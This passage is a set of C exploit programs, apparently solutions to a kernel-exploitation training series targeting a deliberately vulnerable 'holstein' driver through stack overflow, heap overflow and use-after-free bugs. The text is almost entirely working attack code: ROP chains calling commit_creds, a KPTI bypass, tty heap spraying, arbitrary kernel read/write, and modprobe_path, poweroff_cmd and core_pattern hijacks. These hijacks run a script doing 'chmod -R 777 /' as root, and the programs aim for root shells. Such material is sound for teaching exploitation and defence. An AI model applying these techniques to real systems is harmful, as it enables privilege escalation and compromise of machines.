      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  puts("[+] Get shell!");
  execve("/bin/sh", argv, envp);
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    return -1;
  }
  save_state();

  memset(buf, 'A', VULN_BUFFER_SIZE);
  uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
  *rop_buf++ = 0xdeadbeefcafebebe;
  *rop_buf++ = (uint64_t)(POP_RDI);
  *rop_buf++ = 0;
  *rop_buf++ = (uint64_t)(PREPARE_KERNEL_CRED);
  *rop_buf++ = (uint64_t)(XOR_RCX_RCX);
  *rop_buf++ = (uint64_t)(MOV_RDI_RAX_REP);
  *rop_buf++ = (uint64_t)(COMMIT_CREDS);
  *rop_buf++ = (uint64_t)(SWAPGS);
  *rop_buf++ = (uint64_t)(IRETQ);
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(fd, buf, (uint64_t)rop_buf - (uint64_t)buf);
  return 0;
}
      #include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define USER_LOG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define POP_RDI_OFFSET (0xffffffff8127bbdc - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff8106e240 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define XOR_RCX_RCX_OFFSET (0xffffffff810abef0 - KERNEL_BASE)
#define XOR_RCX_RCX (kernel_base + XOR_RCX_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8160c96b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff8106e390 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET (0xffffffff81800e26 - KERNEL_BASE)
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

uint64_t kernel_base;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
#if USER_LOG == 1
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  puts("[+] Get shell!");
  execve("/bin/sh", argv, envp);
}

int main() {
  char buf[2 * VULN_BUFFER_SIZE] = {0};
  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    return -1;
  }
  save_state();

  read(fd, buf, sizeof(buf));
  kernel_base = ((uint64_t*)buf)[0x408 / 8] - 0x13d33c;
#if USER_LOG == 1
  printf("[*] kernel_base: 0x%lx\n", kernel_base);
#endif

  memset(buf, 'A', VULN_BUFFER_SIZE);
  uint64_t* rop_buf = (uint64_t*)(buf + VULN_BUFFER_SIZE);
  *rop_buf++ = 0xdeadbeefcafebebe;
  *rop_buf++ = (uint64_t)(POP_RDI);
  *rop_buf++ = 0;
  *rop_buf++ = (uint64_t)(PREPARE_KERNEL_CRED);
  *rop_buf++ = (uint64_t)(XOR_RCX_RCX);
  *rop_buf++ = (uint64_t)(MOV_RDI_RAX_REP);
  *rop_buf++ = (uint64_t)(COMMIT_CREDS);
  *rop_buf++ = (uint64_t)(BYPASS_KPTI);
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(fd, buf, (uint64_t)rop_buf - (uint64_t)buf);

  return 0;
}

LK01-2 (Holstein v2: Heap Overflow)

      #include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PUSH_RDX_POP_RSP_R13_RBP_OFFSET (0xffffffff813a478a - KERNEL_BASE)
#define PUSH_RDX_POP_RSP_R13_RBP (kernel_base + PUSH_RDX_POP_RSP_R13_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff810d748d - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81074650 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff8113c1c4 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8162707b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff810744b0 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

uint64_t kernel_base, g_buf_addr;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
#if PRINT_DEBUG == 1
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("[+] Get shell!");
  execve("/bin/sh", argv, envp);
}

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  save_state();

  int tty_spray[100];
  for (int i = 0; i < 50; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      return -1;
    }
  }

  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    return -1;
  }

  for (int i = 50; i < 100; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
#if PRINT_DEBUG == 1
  if (kernel_base & 0xFFFFFF != 0) {
    printf("[-] Failed to leak kernel base\n");
    return -1;
  }
  if (g_buf_addr & 0xFF != 0) {
    printf("[-] Failed to leak g_buf base\n");
    return -1;
  }
  printf("[*] kernel_base: %p\n", (void *)kernel_base);
  printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = PUSH_RDX_POP_RSP_R13_RBP;  // overwrite ioctl
  *rop_buf++ = POP_RDI;
  *rop_buf++ = 0;
  *rop_buf++ = PREPARE_KERNEL_CRED;
  *rop_buf++ = POP_RCX;
  *rop_buf++ = 0;
  *rop_buf++ = MOV_RDI_RAX_REP;
  *rop_buf++ = COMMIT_CREDS;
  *rop_buf++ = BYPASS_KPTI;
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);

  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

  for (int i = 0; i < 100; ++i) {
    ioctl(tty_spray[i], 0x00, g_buf_addr - 0x08 * 2 + 0x08);
  }

  close(fd);
  for (int i = 0; i < 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}
      #include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i < 50; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      printf("[-] Failed to open tty\n");
      return -1;
    }
  }

  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    printf("[-] Failed to open " VULN_DEVICE_NAME "\n");
    return -1;
  }

  for (int i = 50; i < 100; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      printf("[-] Failed to open tty\n");
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
  if (kernel_base & 0xFFFFFF != 0) {
    printf("[-] Failed to leak kernel base\n");
    return -1;
  }
  if (g_buf_addr & 0xFF != 0) {
    printf("[-] Failed to leak g_buf base\n");
    return -1;
  }
#if PRINT_DEBUG == 1
  printf("[*] kernel_base: %p\n", (void *)kernel_base);
  printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i < 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX <- ARG1, RDX <- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kEvilProcessName[] = "uniguri";
  if (prctl(PR_SET_NAME, kEvilProcessName) == -1) {
    printf("[-] Failed to set process name\n");
    return -1;
  }

  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t cur_task_addr = 0;
  for (uint64_t cur_addr = g_buf_addr - 0x1000000;; cur_addr += 8) {
    uint32_t val = AAR32(cur_addr);
#if PRINT_DEBUG == 1
    if ((cur_addr & 0xfffff) == 0) {
      printf("[*] Searching 0x%016lx...\n", cur_addr);
    }
#endif

    if (val == *(uint32_t *)(kEvilProcessName)) {
      val = AAR32(cur_addr + 0x04);
      if (val == *(uint32_t *)(kEvilProcessName + 4)) {
        cur_task_addr = cur_addr;
#if PRINT_DEBUG == 1
        printf("[+] Found current task name(%s): 0x%016lx\n", kEvilProcessName,
               cur_task_addr);
#endif
        break;
      }
    }
  }
  if (cur_task_addr == 0) {
    printf("[-] Failed to find current task\n");
    return -1;
  }

  uint64_t cur_task_cred =
      AAR32(cur_task_addr - 8) | ((uint64_t)AAR32(cur_task_addr - 4) << 32);
#if PRINT_DEBUG == 1
  printf("[*] current_task_cred: 0x%016lx\n", cur_task_cred);
#endif

  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 1; i < 9; ++i) {
    AAW32(cur_task_cred + 0x4 * i, 0);
  }

  puts("[+] Get shell!");
  system("/bin/sh");

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i < 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}
      #include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
#define MODPROB_PATH_OFFSET (0xffffffff81e38180 - KERNEL_BASE)
#define MODPROBE_PATH_ADDR (kernel_base + MODPROB_PATH_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i < 50; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      return -1;
    }
  }

  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    return -1;
  }

  for (int i = 50; i < 100; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
#if PRINT_DEBUG == 1
  if (kernel_base & 0xFFFFFF != 0) {
    printf("[-] Failed to leak kernel base\n");
    return -1;
  }
  if (g_buf_addr & 0xFF != 0) {
    printf("[-] Failed to leak g_buf base\n");
    return -1;
  }
  printf("[*] kernel_base: %p\n", (void *)kernel_base);
  printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i < 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX <- ARG1, RDX <- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kRunEvilCmd[] = "/tmp/evil.sh";
  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 0; i < sizeof(kRunEvilCmd); i += 4) {
    AAW32(MODPROBE_PATH_ADDR + i, *(uint32_t *)(kRunEvilCmd + i));
  }

  system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/evil.sh");
  system("chmod +x /tmp/evil.sh");
  system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
  system("chmod +x /tmp/pwn");
  system("/tmp/pwn");

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i < 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}
      #include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
#define POWEROFF_CMD_OFFSET (0xffffffff81e379c0 - KERNEL_BASE)
#define POWEROFF_CMD_ADDR (kernel_base + POWEROFF_CMD_OFFSET)
#define ORDERLY_POWEROFF_OFFSET (0xffffffff810750e0 - KERNEL_BASE)
#define ORDERLY_POWEROFF (kernel_base + ORDERLY_POWEROFF_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i < 50; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      printf("[-] Failed to open tty\n");
      return -1;
    }
  }

  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    printf("[-] Failed to open " VULN_DEVICE_NAME "\n");
    return -1;
  }

  for (int i = 50; i < 100; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      printf("[-] Failed to open tty\n");
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
  if (kernel_base & 0xFFFFFF != 0) {
    printf("[-] Failed to leak kernel base\n");
    return -1;
  }
  if (g_buf_addr & 0xFF != 0) {
    printf("[-] Failed to leak g_buf base\n");
    return -1;
  }
#if PRINT_DEBUG == 1
  printf("[*] kernel_base: %p\n", (void *)kernel_base);
  printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i < 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX <- ARG1, RDX <- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kRunEvilCmd[] = "/tmp/evil.sh";
  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 0; i < sizeof(kRunEvilCmd); i += 4) {
    AAW32(POWEROFF_CMD_ADDR + i, *(uint32_t *)(kRunEvilCmd + i));
  }
  system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/evil.sh");
  system("chmod +x /tmp/evil.sh");

  SET_IOCTL_INST_ADDR(ORDERLY_POWEROFF);
  ioctl(modified_tty_fd, 0, 0);

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i < 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}
      #include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <unistd.h>

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define MOV_DWORD_PTR_RDX_ECX_OFFSET (0xffffffff8101083d - KERNEL_BASE)
#define MOV_DWORD_PTR_RDX_ECX (kernel_base + MOV_DWORD_PTR_RDX_ECX_OFFSET)
#define MOV_EAX_DWORD_PTR_RDX_OFFSET (0xffffffff8118a285 - KERNEL_BASE)
#define MOV_EAX_DWORD_PTR_RDX (kernel_base + MOV_EAX_DWORD_PTR_RDX_OFFSET)
#define CORE_PATTERN_OFFSET (0xffffffff81eb0b20 - KERNEL_BASE)
#define CORE_PATTERN_ADDR (kernel_base + CORE_PATTERN_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i < 50; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      printf("[-] Failed to open tty\n");
      return -1;
    }
  }

  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    printf("[-] Failed to open " VULN_DEVICE_NAME "\n");
    return -1;
  }

  for (int i = 50; i < 100; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      printf("[-] Failed to open tty\n");
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
  if (kernel_base & 0xFFFFFF != 0) {
    printf("[-] Failed to leak kernel base\n");
    return -1;
  }
  if (g_buf_addr & 0xFF != 0) {
    printf("[-] Failed to leak g_buf base\n");
    return -1;
  }
#if PRINT_DEBUG == 1
  printf("[*] kernel_base: %p\n", (void *)kernel_base);
  printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i < 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX <- ARG1, RDX <- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kRunEvilCmd[] = "|/tmp/evil.sh";
  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 0; i < sizeof(kRunEvilCmd); i += 4) {
    AAW32(CORE_PATTERN_ADDR + i, *(uint32_t *)(kRunEvilCmd + i));
  }
  system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/evil.sh");
  system("chmod +x /tmp/evil.sh");

  system("ulimit -c unlimited");
  uint64_t *evil_ptr = (uint64_t *)0xdeadbeefcafebebe;
  *evil_ptr = 0xdeadbeefcafebebe;

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i < 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}

LK01-3 (Holstein v3: Use-after-Free)

      #include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PUSH_RDX_XOR_EAX_POP_RSP_RBP_OFFSET (0xffffffff8114fbea - KERNEL_BASE)
#define PUSH_RDX_XOR_EAX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_XOR_EAX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8114078a - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81072560 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff810eb7e4 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff81638e9b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff810723c0 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

uint64_t kernel_base, g_buf_addr;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
#if PRINT_DEBUG == 1
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("[+] Get shell!");
  execve("/bin/sh", argv, envp);
}

int main() {
  char buf[VULN_BUFFER_SIZE];

  save_state();

  int tmp_fd1 = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (tmp_fd1 < 0) {
    return -1;
  }

  int rop_and_vtable_fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (rop_and_vtable_fd < 0) {
    return -1;
  }
  close(tmp_fd1);
  int tmp_tty1 = open("/dev/ptmx", O_NOCTTY);
  if (tmp_tty1 < 0) {
    return -1;
  }
